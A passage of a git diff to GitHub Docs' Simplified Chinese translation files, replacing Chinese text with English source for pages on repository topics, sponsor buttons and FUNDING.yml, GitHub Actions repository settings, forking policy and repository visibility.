click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}. -使用主题可以探索特定主题领域的仓库，查找要参与的项目，以及发现特定问题的新解决方案。 主题显示在仓库的主页面上。 您可以单击主题名称以{% ifversion fpt or ghec %}查看相关主题及其他以该主题分类的仓库列表{% else %}搜索使用该主题的其他仓库{% endif %}。 +![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png) -![显示主题的测试仓库主页面](/assets/images/help/repository/os-repo-with-topics.png) +To browse the most used topics, go to https://github.com/topics/. -要浏览最常用的主题，请访问 https://github.com/topics/ +{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %} -{% ifversion fpt or ghec %}您可以在 [github/explore](https://github.com/github/explore) 仓库中参与 {% data variables.product.product_name %} 的专有主题集。 {% endif %} +Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %} -仓库管理员可以添加他们喜欢的任何主题到仓库。 适用于对仓库分类的主题包括仓库的预期目的、主题领域、社区或语言。{% ifversion fpt or ghec %} 此外，{% data variables.product.product_name %} 也会分析公共仓库内容，生成建议的主题，仓库管理员可以接受或拒绝。 私有仓库内容不可分析，也不会收到主题建议。{% endif %} +{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results. -{% ifversion ghae %}Internal {% else %}公共、内部{% endif %}和私有仓库可拥有主题，虽然您在主题搜索结果中只会看到您有权访问的私有仓库。 +You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)." -您可以搜索与公共仓库关联的仓库。 更多信息请参阅“[搜索仓库](/search-github/searching-on-github/searching-for-repositories#search-by-topic)”。 您也可以搜索 {% data variables.product.product_name %} 中的主题列表。 更多信息请参阅“[搜索主题](/search-github/searching-on-github/searching-topics)”。 - -## 添加主题到仓库 +## Adding topics to your repository {% data reusables.repositories.navigate-to-repo %} -2. 在“About（关于）”右侧，单击 {% octicon "gear" aria-label="The Gear icon" %}。 ![仓库主页上的齿轮图标](/assets/images/help/repository/edit-repository-details-gear.png) -3. 在“"Topics（主题）”下，键入要添加到仓库的主题，然后键入空格。 ![输入主题的表单](/assets/images/help/repository/add-topic-form.png) -4. 完成添加主题后，单击 **Save changes（保存更改）**。 !["Edit repository details（编辑仓库详细信息）"中的"Save changes（保存更改）"按钮](/assets/images/help/repository/edit-repository-details-save-changes-button.png) +2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}. + ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png) +3. Under "Topics", type the topic you want to add to your repository, then type a space. + ![Form to enter topics](/assets/images/help/repository/add-topic-form.png) +4. After you've finished adding topics, click **Save changes**. + !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png) diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md index c8936c60e8..fd139c7805 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md @@ -1,6 +1,6 @@ --- -title: 在仓库中显示赞助者按钮 -intro: 您可以在仓库中添加赞助者按钮，以提高开源项目资助选项的可见性。 +title: Displaying a sponsor button in your repository +intro: You can add a sponsor button in your repository to increase the visibility of funding options for your open source project. redirect_from: - /github/building-a-strong-community/displaying-a-sponsor-button-in-your-repository - /articles/displaying-a-sponsor-button-in-your-repository @@ -11,40 +11,39 @@ versions: ghec: '*' topics: - Repositories -shortTitle: 显示赞助按钮 +shortTitle: Display a sponsor button --- +## About FUNDING files -## 关于 FUNDING 文件 +You can configure your sponsor button by editing a _FUNDING.yml_ file in your repository's `.github` folder, on the default branch. You can configure the button to include sponsored developers in {% data variables.product.prodname_sponsors %}, external funding platforms, or a custom funding URL. For more information about {% data variables.product.prodname_sponsors %}, see "[About GitHub Sponsors](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." -可通过编辑默认分支上仓库 `.github` 文件夹中的 _FUNDING.yml_ 文件来配置赞助者按钮。 您也可以配置此按钮，以通过 {% data variables.product.prodname_sponsors %}、外部资助平台或自定义资助 URL 来包括被赞助的开发者。 有关 {% data variables.product.prodname_sponsors %} 的更多信息请参阅“[关于 GitHub 赞助者](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)”。 +You can add one username, package name, or project name per external funding platform and up to four custom URLs. You can add up to four sponsored developers or organizations in {% data variables.product.prodname_sponsors %}. Add each platform on a new line, using the following syntax: -您也可以每个赞助平台添加一个用户名、包名称或项目名，以及最多四个自定义 URL。 最多可在 {% data variables.product.prodname_sponsors %} 中添加四位被赞助的开发者或组织。 在新行上添加每个平台，使用以下语法： +Platform | Syntax +-------- | ----- +[LFX Mentorship (formerly CommunityBridge)](https://lfx.linuxfoundation.org/tools/mentorship) | `community_bridge: PROJECT-NAME` +[{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) | `github: USERNAME` or `github: [USERNAME, USERNAME, USERNAME, USERNAME]` +[IssueHunt](https://issuehunt.io/) | `issuehunt: USERNAME` +[Ko-fi](https://ko-fi.com/) | `ko_fi: USERNAME` +[Liberapay](https://en.liberapay.com/) | `liberapay: USERNAME` +[Open Collective](https://opencollective.com/) | `open_collective: USERNAME` +[Otechie](https://otechie.com/)| `otechie: USERNAME` +[Patreon](https://www.patreon.com/) | `patreon: USERNAME` +[Tidelift](https://tidelift.com/) | `tidelift: PLATFORM-NAME/PACKAGE-NAME` +Custom URL | `custom: LINK1` or `custom: [LINK1, LINK2, LINK3, LINK4]` -| 平台 | 语法 | -| -------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- | -| [LFX Mentorship（前称 CommunityBridge）](https://lfx.linuxfoundation.org/tools/mentorship) | `community_bridge: PROJECT-NAME` | -| [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) | `github: USERNAME` 或 `github: [USERNAME, USERNAME, USERNAME, USERNAME]` | -| [IssueHunt](https://issuehunt.io/) | `issuehunt: USERNAME` | -| [Ko-fi](https://ko-fi.com/) | `ko_fi: USERNAME` | -| [Liberapay](https://en.liberapay.com/) | `liberapay: USERNAME` | -| [Open Collective](https://opencollective.com/) | `open_collective: USERNAME` | -| [Otechie](https://otechie.com/) | `otechie: USERNAME` | -| [Patreon](https://www.patreon.com/) | `patreon: USERNAME` | -| [Tidelift](https://tidelift.com/) | `tidelift: PLATFORM-NAME/PACKAGE-NAME` | -| Custom URL | `custom: LINK1` 或 `custom: [LINK1, LINK2, LINK3, LINK4]` | +For Tidelift, use the `platform-name/package-name` syntax with the following platform names: -对于 TideLift，请使用 `platform-name/package-name` 带有以下平台名称的语法： +Language | Platform name +-------- | ------------- +JavaScript | `npm` +Python | `pypi` +Ruby | `rubygems` +Java | `maven` +PHP | `packagist` +C# | `nuget` -| 语言 | 平台名称 | -| ---------- | ----------- | -| JavaScript | `npm` | -| Python | `pypi` | -| Ruby | `rubygems` | -| Java | `maven` | -| PHP | `packagist` | -| C# | `nuget` | - -以下是 _FUNDING.yml_ 文件的一个示例： +Here's an example _FUNDING.yml_ file: ``` github: [octocat, surftocat] patreon: octocat @@ -54,31 +53,34 @@ custom: ["https://www.paypal.me/octocat", octocat.com] {% note %} -**注：** 如果数组中的自定义 URL 包含 `:`，则必须用引号括住 URL。 例如 `"https://www.paypal.me/octocat"`。 +**Note:** If a custom URL in an array includes `:`, you must wrap the URL in quotes. For example, `"https://www.paypal.me/octocat"`. {% endnote %} -您可以为组织或用户帐户创建一个默认赞助者按钮。 更多信息请参阅“[创建默认社区健康文件](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)”。 +You can create a default sponsor button for your organization or user account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." {% note %} -资助链接为开源项目提供了一个获得其社区直接资金支持的方式。 我们不支持出于其他目的使用资助链接，例如出于做广告或支持政治、社区或慈善团体的目的。 如果您对您的预期用途是否受支持存有疑问，请联系 {% data variables.contact.contact_support %}。 +Funding links provide a way for open source projects to receive direct financial support from their community. We don’t support the use of funding links for other purposes, such as for advertising, or supporting political, community, or charity groups. If you have questions about whether your intended use is supported, please contact {% data variables.contact.contact_support %}. {% endnote %} -## 在仓库中显示赞助者按钮 +## Displaying a sponsor button in your repository -任何有管理员权限的人都可以在仓库中启用赞助者按钮。 +Anyone with admin permissions can enable a sponsor button in a repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. 在 Features（功能）下，选择 **Sponsorships（赞助）**。 ![用于启用赞助的复选框](/assets/images/help/sponsors/sponsorships-checkbox.png) -4. 在“Sponsorships（赞助）”下，单击 **Set up sponsor button（设置赞助商按钮）**或 **Override funding links（覆盖资金链接）**。 ![用于设置赞助者按钮的按钮](/assets/images/help/sponsors/sponsor-set-up-button.png) -5. 在文件编辑器中，按照 _FUNDING.yml_ 文件中的说明将链接添加到您的资助位置。 ![编辑 FUNDING 文件以添加指向资金位置的链接](/assets/images/help/sponsors/funding-yml-file.png) +3. Under Features, select **Sponsorships**. + ![Checkbox to enable Sponsorships](/assets/images/help/sponsors/sponsorships-checkbox.png) +4. Under "Sponsorships", click **Set up sponsor button** or **Override funding links**. + ![Button to set up sponsor button](/assets/images/help/sponsors/sponsor-set-up-button.png) +5. In the file editor, follow the instructions in the _FUNDING.yml_ file to add links to your funding locations. + ![Edit the FUNDING file to add links to funding locations](/assets/images/help/sponsors/funding-yml-file.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} -## 延伸阅读 -- "[关于开源贡献者的 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" -- {% data variables.product.prodname_blog %} 上的“[{% data variables.product.prodname_sponsors %} 团队常见问题](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)” +## Further reading +- "[About {% data variables.product.prodname_sponsors %} for open source contributors](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" +- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %} diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md index 2a64f84754..cb0ef50a07 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -22,53 +22,54 @@ shortTitle: Manage GitHub Actions settings {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 关于仓库的 {% data variables.product.prodname_actions %} 权限 +## About {% data variables.product.prodname_actions %} permissions for your repository -{% data reusables.github-actions.disabling-github-actions %} 有关 {% data variables.product.prodname_actions %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)”。 +{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." -您可以对您的仓库启用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.enabled-actions-description %} 您可以对您的仓库完全禁用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.disabled-actions-description %} +You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.github-actions.disabled-actions-description %} -此外，您可以在您的仓库中启用 {% data variables.product.prodname_actions %}，但限制工作流程可以运行的操作。 {% data reusables.github-actions.enabled-local-github-actions %} +Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %} -## 管理仓库的 {% data variables.product.prodname_actions %} 权限 +## Managing {% data variables.product.prodname_actions %} permissions for your repository -您可以禁用仓库的所有工作流程，或者设置策略来配置哪些动作可用于仓库中。 +You can disable all workflows for a repository or set a policy that configures which actions can be used in a repository. {% data reusables.actions.actions-use-policy-settings %} {% note %} -**注：**如果您的组织有覆盖策略或由具有覆盖策略的企业帐户管理，则可能无法管理这些设置。 For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." +**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." {% endnote %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. 在 **Actions permissions（操作权限）**下，选择一个选项。 ![设置此组织的操作策略](/assets/images/help/repository/actions-policy.png) -1. 单击 **Save（保存）**。 +1. Under **Actions permissions**, select an option. + ![Set actions policy for this organization](/assets/images/help/repository/actions-policy.png) +1. Click **Save**. -## 允许特定操作运行 +## Allowing specific actions to run {% data reusables.actions.allow-specific-actions-intro %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. 在 **Actions permissions（操作权限）**下，选择 **Allow select actions（允许选择操作）**并将所需操作添加到列表中。 - {%- ifversion ghes %} - ![添加操作到允许列表](/assets/images/help/repository/actions-policy-allow-list.png) +1. Under **Actions permissions**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 %} + ![Add actions to allow list](/assets/images/help/repository/actions-policy-allow-list.png) {%- else %} - ![添加操作到允许列表](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) {%- endif %} -2. 单击 **Save（保存）**。 +2. Click **Save**. {% ifversion fpt or ghec %} -## 配置公共复刻工作流程所需的批准 +## Configuring required approval for workflows from public forks {% data reusables.actions.workflow-run-approve-public-fork %} -You can configure this behavior for a repository using the procedure below. 修改此设置会覆盖组织或企业级别的配置集。 +You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -78,11 +79,11 @@ You can configure this behavior for a repository using the procedure below. 修 {% data reusables.actions.workflow-run-approve-link %} {% endif %} -## 为私有仓库复刻启用工作流程 +## Enabling workflows for private repository forks {% data reusables.github-actions.private-repository-forks-overview %} -### 为仓库配置私有复刻策略 +### Configuring the private fork policy for a repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -90,32 +91,27 @@ You can configure this behavior for a repository using the procedure below. 修 {% data reusables.github-actions.private-repository-forks-configure %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 为您的仓库设置 `GITHUB_TOKENN` 的权限 +## Setting the permissions of the `GITHUB_TOKEN` for your repository {% data reusables.github-actions.workflow-permissions-intro %} -默认权限也可以在组织设置中配置。 如果在组织设置中选择了更受限制的默认值，则在仓库设置中自动选择相同的选项，并禁用许可的选项。 +The default permissions can also be configured in the organization settings. If the more restricted default has been selected in the organization settings, the same option is auto-selected in your repository settings and the permissive option is disabled. {% data reusables.github-actions.workflow-permissions-modifying %} -### 配置默认 `GITHUB_TOKENN` 权限 +### Configuring the default `GITHUB_TOKEN` permissions {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. 在 **Workflow permissions（工作流程权限）**下，选择您是否想要 `GITHUB_TOKENN` 读写所有范围限， 或者只读`内容`范围。 ![为此仓库设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-repository.png) -1. 单击 **Save（保存）**以应用设置。 +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png) +1. Click **Save** to apply the settings. {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} +{% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %} ## Allowing access to components in an internal repository -{% note %} - -**注：**{% data reusables.gated-features.internal-repos %} - -{% endnote %} - Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)." To configure whether workflows in an internal repository can be accessed from outside the repository: @@ -123,22 +119,23 @@ To configure whether workflows in an internal repository can be accessed from ou 1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository. 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. {% data reusables.repositories.settings-sidebar-actions %} -1. Under **Access**, choose one of the access settings: ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png) +1. Under **Access**, choose one of the access settings: + ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png) * **Not accessible** - Workflows in other repositories can't use workflows in this repository. - * **Accessible by any repository in the organization** - Workflows in other repositories can use workflows in this repository as long as they are part of the same organization. - * **Accessible by any repository in the enterprise** - Workflows in other repositories can use workflows in this repository as long as they are part of the same enterprise. -1. 单击 **Save（保存）**以应用设置。 + * **Accessible from repositories in the '<organization name>' organization** - Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal. + * **Accessible from repositories in the '<enterprise name>' enterprise** - Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal. +1. Click **Save** to apply the settings. {% endif %} ## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository -您可以为仓库中的 {% data variables.product.prodname_actions %} 构件和日志配置保留期。 +You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository. {% data reusables.actions.about-artifact-log-retention %} -您还可以为工作流程创建的特定构件自定义保留期。 更多信息请参阅“[设置构件的保留期](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)”。 +You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)." -## 设置仓库的保留期 +## Setting the retention period for a repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md index 30da82abc9..b5692be81c 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md @@ -1,6 +1,6 @@ --- -title: 管理仓库的复刻政策 -intro: '您可以允许或阻止对组织拥有的特定私有{% ifversion fpt or ghae or ghes or ghec %}或内部{% endif %}仓库进行复刻。' +title: Managing the forking policy for your repository +intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.' redirect_from: - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization @@ -14,18 +14,16 @@ versions: ghec: '*' topics: - Repositories -shortTitle: 管理复刻策略 +shortTitle: Manage the forking policy --- - -组织所有者必须在组织级别上允许复刻私有{% ifversion fpt or ghae or ghes or ghec %}和内部{% endif %}仓库，然后才能允许或禁止对特定仓库进行复刻。 更多信息请参阅“[管理组织的复刻政策](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)”。 - -{% data reusables.organizations.internal-repos-enterprise %} +An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. 在 "Features"（功能）下，选择 **Allow forking（允许复刻）**。 ![允许或禁止私有仓库复刻的复选框](/assets/images/help/repository/allow-forking-specific-org-repo.png) +3. Under "Features", select **Allow forking**. + ![Checkbox to allow or disallow forking of a private repository](/assets/images/help/repository/allow-forking-specific-org-repo.png) -## 延伸阅读 +## Further reading -- "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md index 9e18f52653..1841cf3ab9 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md @@ -1,6 +1,6 @@ --- -title: 设置仓库可见性 -intro: 您可选择能够查看仓库的人员。 +title: Setting repository visibility +intro: You can choose who can view your repository. redirect_from: - /articles/making-a-private-repository-public/ - /articles/making-a-public-repository-private/ @@ -15,85 +15,90 @@ versions: ghec: '*' topics: - Repositories -shortTitle: 仓库可见性 +shortTitle: Repository visibility --- +## About repository visibility changes -## 关于仓库可见性更改 +Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." -组织所有者可以限制只有组织所有者才能更改仓库可见性。 更多信息请参阅“[限制组织的仓库可见性更改](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)”。 +{% ifversion ghec %} -{% ifversion fpt or ghec %} - -If you're a member of an {% data variables.product.prodname_emu_enterprise %}, your repositories owned by your user account can only be private, and repositories in your enterprise's organizations can only be private or internal. +Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." {% endif %} -我们建议在您更改仓库可见性之前审查以下注意事项。 +We recommend reviewing the following caveats before you change the visibility of a repository. {% ifversion ghes or ghae %} {% warning %} -**警告：** 更改大型仓库或仓库网络的可见性可能会影响数据的完整性。 可见性变化也可能对复刻产生意外影响。 {% data variables.product.company_short %} 建议在更改仓库网络的可见性之前遵循以下建议。 +**Warning:** Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network. -- 等待一段时间，让 {% data variables.product.product_location %} 上的活动减少。 +- Wait for a period of reduced activity on {% data variables.product.product_location %}. -- 在继续操作之前，请联系您的 {% ifversion ghes %}站点管理员{% elsif ghae %}企业所有者{% endif %}。 您的 {% ifversion ghes %}站点管理员{% elsif ghae %}企业所有者{% endif %} 可以联系 {% data variables.contact.contact_ent_support %} 获得进一步指导。 +- Contact your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} before proceeding. Your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} can contact {% data variables.contact.contact_ent_support %} for further guidance. {% endwarning %} {% endif %} -### 将仓库设为私有 +### Making a repository private {% ifversion fpt or ghes or ghec %} -* {% data variables.product.product_name %} 将会分离公共仓库的公共复刻并将其放入新的网络中。 公共复刻无法设为私有。{% endif %} -* 如果您将仓库的可见性从内部更改为私有， {% data variables.product.prodname_dotcom %} 将删除属于任何没有新私有仓库访问权限的用户的复刻。 {% ifversion fpt or ghes or ghec %}任何复刻的可见性也将更改为私有。{% elsif ghae %}如果内部仓库有任何复刻，则复刻的可见性已经是私有的。{% endif %}更多信息请参阅“[删除仓库或更改其可见性时，复刻会发生什么变化？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)”{% ifversion fpt %} -* 如果对用户帐户或组织使用 {% data variables.product.prodname_free_user %}，有些功能在您将可见性更改为私有后不可用于仓库。 任何已发布的 {% data variables.product.prodname_pages %} 站点都将自动取消发布。 如果您将自定义域添加到 {% data variables.product.prodname_pages %} 站点，应在将仓库设为私有之前删除或更新 DNS 记录，以避免域接管的风险。 For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}{% ifversion fpt or ghec %} -* {% data variables.product.prodname_dotcom %} 不再在 {% data variables.product.prodname_archive %} 中包含该仓库。 更多信息请参阅“[关于在 {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program) 上存档内容和数据”。 -* {% data variables.product.prodname_GH_advanced_security %} 功能，例如 {% data variables.product.prodname_code_scanning %}，将停止工作，除非拥有仓库的组织具有 {% data variables.product.prodname_advanced_security %} 许可证和充分的备用席位。 {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion ghes %} -* 匿名 Git 读取权限不再可用。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)”。{% endif %} +* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %} +{%- ifversion ghes or ghec or ghae %} +* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +{%- endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{%- ifversion fpt %} +* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +{%- endif %} -### 将仓库设为内部 +{%- ifversion fpt or ghec %} +* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." +* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %} +{%- endif %} -{% note %} +{%- ifversion ghes %} +* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +{%- endif %} -**注：**{% data reusables.gated-features.internal-repos %} +{% ifversion ghes or ghec or ghae %} -{% endnote %} +### Making a repository internal -* 仓库的任何复刻都将保留在仓库网络中， {% data variables.product.product_name %} 维护根仓库与复刻之间的关系。 更多信息请参阅“[删除仓库或更改其可见性时，复刻会发生什么变化？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)” +* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" {% endif %} {% ifversion fpt or ghes or ghec %} -### 